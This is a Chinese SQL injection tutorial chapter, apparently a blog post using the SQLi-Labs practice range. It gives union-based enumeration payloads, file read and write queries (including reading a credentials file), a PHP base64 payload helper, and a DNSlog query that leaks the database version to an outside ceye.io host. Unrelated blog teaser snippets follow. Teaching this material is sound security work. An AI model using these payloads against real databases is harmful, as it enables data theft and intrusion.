《Web安全基础》03. SQL 注入
web
- 1:简要 SQL 注入
- 2:MySQL 注入
- 2.1:信息获取
- 2.2:跨库攻击
- 2.3:文件读写
- 2.4:常见防护
- 3:注入方法
- 3.1:类型方法明确
- 3.2:盲注
- 3.3:编码
- 3.4:二次注入
- 3.5:DNSlog 注入
- 3.6:堆叠注入
- 4:WAF 绕过
- 4.1:WAF 简介
- 4.2:绕过方法
- 5:其他数据库注入
- 5.1:Access
- 5.2:Sql Server
- 5.3:PostgreSQL
- 5.4:Oracle
- 5.5:MongoDB
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。
靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》
1:简要 SQL 注入
SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利用,挖掘,修复也很重要。
SQL 注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到 sql 语句中,被当作 sql 语句的一部分进行执行,从而导致数据泄露、丢失甚至服务器瘫痪。
常见的 sql 注入产生原因:
- 转义字符处理不合适
- 不安全的数据库配置
- 不合理的查询集处理
- 不当的错误处理
- 多个提交处理不当
注入判断:
1、逻辑值
and 1 = 1 页面正常
and 1 = 2 页面异常
则可能存在注入点2、order by
通过 order by 判断注入的字段数
2:MySQL 注入
SQL 注入思路都差不多,这里主要以 MySQL 为例。
2.1:信息获取
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
在 mysql5.0 以上版本存在 information_schema 数据库,记录着所有的数据库,表名,列名。
information_schema.tables # 记录所有的表名
information_schema.columns # 记录所有的列名
table_name # 表名
column_name # 列名
table_schema # 数据库名
本节示例见 SQLi-Labs Less-1。
2.2:跨库攻击
常见的数据库与用户的对应关系:
数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据
数据库用户B - 数据库B - 网站B --> 表名 --> 列名 --> 数据
数据库用户C - 数据库C - 网站C --> 表名 --> 列名 --> 数据
这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰
这是最基础的数据库模型,现在大网站都是分布式数据库。
跨库查询的前提条件是必须高权限的用户才能执行跨库查询。
跨库攻击,以 Less-2 示例:
# 获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata# 获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'获取指定 qqyw 下的表名 admin 下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'获取指定 qqyw 下的 admin 数据
union select 1,u,p,4 from qqyw.admin
2.3:文件读写
获取的数据库权限会影响下一步测试思路。
高权限直接测试。
低权限就一步一步获取数据。
文件读写操作:
- load_file():文件读取函数
- into outfile 或 into dumpfile:文件写入、导出
获取路径的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。
MySQL 查询是否有写入权限:
show global variables like '%secure_file_priv%';
读取本地文件示例:
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3
本地文件写入示例:
http://127.0.0.1:8888/Less-2/?id=-1 union select 1, 'test' ,3 into outfile 'E:\\test.txt' --+
2.4:常见防护
魔术引号:magic_quotes_gpc
当 magic_quotes_gpc = On 时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会加上转义符号(\)。
自定义防护:例如 PHP 中的判断输入是否是 int 型数据:is_int() 函数,这种就无法绕过。
3:注入方法
具体示例见 SQLi-Labs。
3.1:类型方法明确
在真实 SQL 注入安全测试中,一定要明确提交数据类型及提交方法后再进行注入。
明确参数类型:数字、字符、JSON 等。
明确接受的请求方法:GET、POST、COOKIE、REQUEST、HTTP 头等。
sql 语句干扰符号:'、"、、)、} 等,具体需看写法。
3.2:盲注
进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是 SQL 语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。
手工注入时,提前了解或预知其 SQL 语句大概写法也能更好的选择对应的注入语句。
可以通过查询方式与 SQL 的关系、注入点产生的地方猜测到 SQL 查询方式。
涉及的 SQL 语句:
select:查询数据,在网站应用中进行数据显示查询操作。
insert:插入数据,在网站应用中进行用户注册添加等操作。
delete:删除数据,后台管理里面删除文章删除用户等操作。
update:更新数据,会员或后台中心数据同步或缓存等操作。
order by:数据排序,一般结合表名或列名进行数据排序操作。
在注入过程中,获取的数据不能回显至前端页面。此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为以下三类:
- 基于布尔的 SQL 盲注:逻辑判断。
- 基于时间的 SQL 盲注:延时判断。
- 基于报错的 SQL 盲注:报错回显。
具体示例见 SQLi-Labs。
参考文章:
12种报错注入+万能语句
sql报错注入:extractvalue、updatexml报错原理
Order by排序注入方法小总结
3.3:编码
一些变量值在传递时会先编码或加密(如 base64 等)。这时手工注入就要先把传递值进行相应编码或加密。
例如 admin' and 1=1
base64 编码后的值是 YWRtaW4nIGFuZCAxPTE=
实际案例:SQLi-Labs-Less21:cookie&base64编码注入
一个简单的 base64 编码脚本:
<?php$url='http://xxxx/Less-1/index.php?id=;$payload=base64_encode($_GET['x']);$urls=$url.$payload;file_get_contents($urls);echo $urls;
?>
3.4:二次注入
二次注入一般用于白盒测试,黑盒测试就算找到注入点也没办法攻击。
以 SQLi-Labs-Less24 为例:注册 admin'#
这样一个用户。
此时修改 admin'#
用户的密码就能把 admin
用户的密码修改。
3.5:DNSlog 注入
DNSlog 盲注仅限于 windos 环境。能优化无回显问题。
相关资源:http://ceye.io
示例:
select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);
参考文章:https://www.cnblogs.com/xhds/p/12322839.html
3.6:堆叠注入
在 MySQL 中,每一条语句结尾加【;】表示语句结束。
堆叠注入(stacked injection)就是多个语句连接到一起执行的注入。
应用场景:
- 注入需要管理员帐号密码,密码是加密,无法解密
- 堆叠注入时插入数据,用户密码自定义,可以正常解密登录
参考文章:堆叠注入详解
4:WAF 绕过
在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便灵活构造 Payload,从而和各种 WAF 进行对抗。
4.1:WAF 简介
简要来说,WAF 有以下功能:
-
内容审计
截获所有 HTTP 数据或不满足某些规则的会话 -
访问控制
控制对 Web 应用的访问,包括主动安全模式和被动安全模式 -
架构 / 网络设计
运行反向代理模式时,用来分配职能,集中控制,虚拟基础结构等 -
WEB 应用加固
屏蔽 WEB 应用固有弱点,保护 WEB 应用编程错误导致的安全隐患。
WAF 的常见功能:
- 异常检测协议:拒绝不符合 HTTP 标准的请求
- 增强输入验证:代理和服务端的验证,而不只是限于客户端验证
- 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题
- 基于规则和异常的保护:基于规则,更多依赖黑名单机制;基于异常,更为灵活
- 状态管理:进行重点会话保护
- Cookies 保护
- 抗入侵规避技术
- 响应监视
- 信息泄露保护
WAF 对扫描器防范手段:
- 扫描器指纹:head字段、请求参数值等
- 单 IP + cookie 某时间段内触发规则次数
- 隐藏的链接标签等
- Cookie 植入
- 验证码验证
- 单 IP 请求时间段内 WebServer 返回 http 404 状态比例:扫描器探测敏感目录基于字典,找不到文件则返回 404
4.2:绕过方法
参考文章:
SQL注入-WAF绕过
sqlmap超详细笔记+思维导图
5:其他数据库注入
5.1:Access
Access,关系型数据库。
Access 数据库比较特别,都是存放在网站目录下,后缀格式为 mdb,常搭配脚本
asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库。
结构:
Access -> 表名 -> 列名 -> 数据
注入方式:
union 注入、http header 注入、偏移注入等。
Access 偏移注入:解决列名获取不到的情况。
查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。
参考文章:Access偏移注入与原理
5.2:Sql Server
Microsoft SQL Server,也叫 MSSQL,关系型数据库。
注入方式和 MySQL 没什么两样。
参考文章:MSSQL注入
5.3:PostgreSQL
PostgreSQL,关系型数据库。
参考文章:PostGresql 注入知识汇总
5.4:Oracle
Oracle,关系型数据库。
参考文章:【实战】Oracle注入总结
5.5:MongoDB
MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库。
- 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
- 数据传输采用 JSON 传输。
- tojson 函数可以输出 json 数据。
一个针对 MongoDB 注入的工具:NoSQLAttack
淡云孤雁远,寒日暮天红。
——《临江仙》(五代)徐昌图
相关文章:

《Web安全基础》03. SQL 注入
web 1:简要 SQL 注入2:MySQL 注入2.1:信息获取2.2:跨库攻击2.3:文件读写2.4:常见防护 3:注入方法3.1:类型方法明确3.2:盲注3.3:编码3.4:二次注入3…...

算法与数据结构(二十一)二叉树(纲领篇)
备注:本文旨在通过 labuladong 的二叉树(纲领篇)理解框架思维,用于个人笔记及交流学习,版权归原作者 labuladong 所有; 我刷了这么多年题,浓缩出二叉树算法的一个总纲放在这里,也许…...

visio,word添加缺少字体,仿宋_GB2312、楷体_GB2312、方正小标宋简体等字体下载
一. 内容简介 visio,word添加缺少字体,仿宋_GB2312、楷体_GB2312、方正小标宋简体等字体下载 二. 软件环境 2.1 visio 三.主要流程 3.1 下载字体 http://www.downza.cn/ 微软官方给的链接好多字体没有,其他好多字体网站,就是给你看个样式ÿ…...
Java爬虫
什么是爬虫? 通过请求,从而去获取互联网上的各种数据与资源,如文字,图片,视频。 本质上原理都一样,都是通过api请求,然后服务器就会发给你信息,然后你再根据这些信息去提取你想要的…...

海外应用商店优化实用指南之关键词
和SEO一样,关键词是ASO中的一个重要因素。就像应用程序标题一样,在Apple App Store和Google Play中处理应用程序关键字的方式也有所不同。 关键词研究。 对于Apple,我们的所有关键词只能获得100个字符,Google Play没有特定的关键…...

element+vue 之动态form
1.页面部分 <div v-for"(item,index) in formList" :key"index"><el-col :span"6" v-if"item.inputType0"><el-form-item :label"item.conditionName" :prop"item.conditionCode":rules"{req…...

winform学习(3)-----Windows窗体应用和Windows窗体应用(.Net Framework)有啥区别?
1.模板选择 在学习winform的时候总是会对这两个应用不知道选择哪个?而且在学习的时候也没有具体的说明 首先说一下我是在添加控件的时候出现了以下问题 对于使用了Windows窗体应用这个模板的文件在工具箱中死活不见控件。 在转换使用了Windows窗体应用(.NET Fram…...

虚拟化中的中断机制:X86与PIC 8259A探索(上)
本系列深入探讨虚拟化中断技术,从X86架构和PIC 8259A的基础,到IOAPIC和MSI的编程,再到MSIX技术与Broiler设备的实战应用,全面剖析中断虚拟化的前沿进展。 X86 中断机制 在计算机架构中,CPU 运行的速度远远大于外设…...

软件外包开发语言排行榜
软件开发语言的排行榜是一个动态的话题,而在未来的几年中,新的技术和语言可能会不断涌现,影响排名。然而以下是一些在过去几年中一直受欢迎并有前途的软件开发语言,如果是新入门软件开发行业在学习语言做选择,希望下面…...

BI技巧丨利用OFFSET计算同环比
微软最近更新了很多开窗函数,其内部参数对比以往的DAX函数来说,多了很多,这就导致学习的时间成本直线上升。 而且对于新增函数的应用场景,很多小伙伴也是一知半解的,本期我们就来聊一聊关于最近新增的开窗函数——OFF…...

整理mongodb文档:collation
文章连接 整理mongodb文档:collation 看前提示 对于mongodb的collation。个人主要用的范围是在createcollection,以及find的时候用,所以本片介绍的时候也是这两个地方入手,对新手个人觉得理解概念就好。不要求强制性掌握,但是要…...
【LangChain】Prompts之Prompt templates
Prompts 编程模型的新方法是通过提示(prompts)。 prompts是指模型的输入。该输入通常由多个组件构成。 LangChain 提供了多个类和函数,使构建和使用prompts变得容易。 Prompt templates(提示模板): 参数化模型输入Example selectors(选择器示例): 动态选择要包含在…...
【数字IC基础】时序违例的修复
时序违例的修复 建立时间违例保持时间违例Buffer 插入位置参考资料 建立时间违例 基本思路是减少数据线的延时、减少 Launch clock line 的延时、增加capture clock line的delay 加强约束,重新进行综合,对违规的路径进行进一步的优化,但是一…...

深度学习实战46-基于CNN的遥感卫星地图智能分类,模型训练与预测
大家好,我是微学AI,今天给大家介绍一下深度学习实战46-基于CNN的遥感卫星地图智能分类,模型训练与预测。随着遥感技术和卫星图像获取能力的快速发展,卫星图像分类任务成为了计算机视觉研究中一个重要的挑战。为了促进这一领域的研究进展,EuroSAT数据集应运而生。本文将详细…...
Node.js-fs模块文件创建、删除、重命名、文件内容的写入、读取以及文件夹的相关操作
一、写入文件操作 异步写入:writeFile() 同步写入:writeFileSync() const fs require("fs"); fs.writeFile("目标文件路径", "要写入的内容", err > {if(err){console.log(err);return;}console.log("写入成功&a…...

LIN协议总结
目录 一、LIN是什么1、LIN的概念2、扩展介绍一下同步通信和异步通信的区别3、LIN连接结构及节点构成 二、LIN的特点三、LIN协议层1、帧的结构2、帧的类型3、进度表4、状态机实现5、网络管理6、状态管理 四、帧收发的硬件实现1、组成2、硬件特点3、协议控制器4、总线收发器5、LI…...

Redis BigKey案例
面试题: 阿里广告平台,海量数据里查询某一固定前缀的key小红书,你如何生产上限制keys*/flushdb/flushall等危险命令以防止误删误用?美团,MEMORY USAGE命令你用过吗?BigKey问题,多大算big&#…...

ThinkPHP v6.0.8 CacheStore 反序列化漏洞
漏洞说明 1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 会触发POP利用链子,造成任意命令执行 2. 组件描述: ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架 3. 影响版本:V6.0.8 漏洞复现 1. 环境安…...

Spring 事务详解(注解方式)
目 录 序言 1、编程式事务 2、配置声明式事务 2.1 基于TransactionProxyFactoryBean的方式(不常用,因为要为每一个类配置TransactionProxyFactoryBean) 2.2 基于AspectJ的XML方式(常用,可配置在某些类下的所有子…...
华为云waf 使用场景
防护Web应用免受攻击就用华为云Web应用防火墙 Web应用防火墙(Web Application Firewall, WAF),通过对HTTP(S)请求进行检测,识别并阻断SQL注入、跨站脚本攻击、网页木马上传、命令/代码注入、文件包含、敏感文件访问、第…...

.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...
spring:实例工厂方法获取bean
spring处理使用静态工厂方法获取bean实例,也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下: 定义实例工厂类(Java代码),定义实例工厂(xml),定义调用实例工厂ÿ…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)
UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中,UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化…...
Rapidio门铃消息FIFO溢出机制
关于RapidIO门铃消息FIFO的溢出机制及其与中断抖动的关系,以下是深入解析: 门铃FIFO溢出的本质 在RapidIO系统中,门铃消息FIFO是硬件控制器内部的缓冲区,用于临时存储接收到的门铃消息(Doorbell Message)。…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...

sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
LeetCode - 199. 二叉树的右视图
题目 199. 二叉树的右视图 - 力扣(LeetCode) 思路 右视图是指从树的右侧看,对于每一层,只能看到该层最右边的节点。实现思路是: 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...
LangChain知识库管理后端接口:数据库操作详解—— 构建本地知识库系统的基础《二》
这段 Python 代码是一个完整的 知识库数据库操作模块,用于对本地知识库系统中的知识库进行增删改查(CRUD)操作。它基于 SQLAlchemy ORM 框架 和一个自定义的装饰器 with_session 实现数据库会话管理。 📘 一、整体功能概述 该模块…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...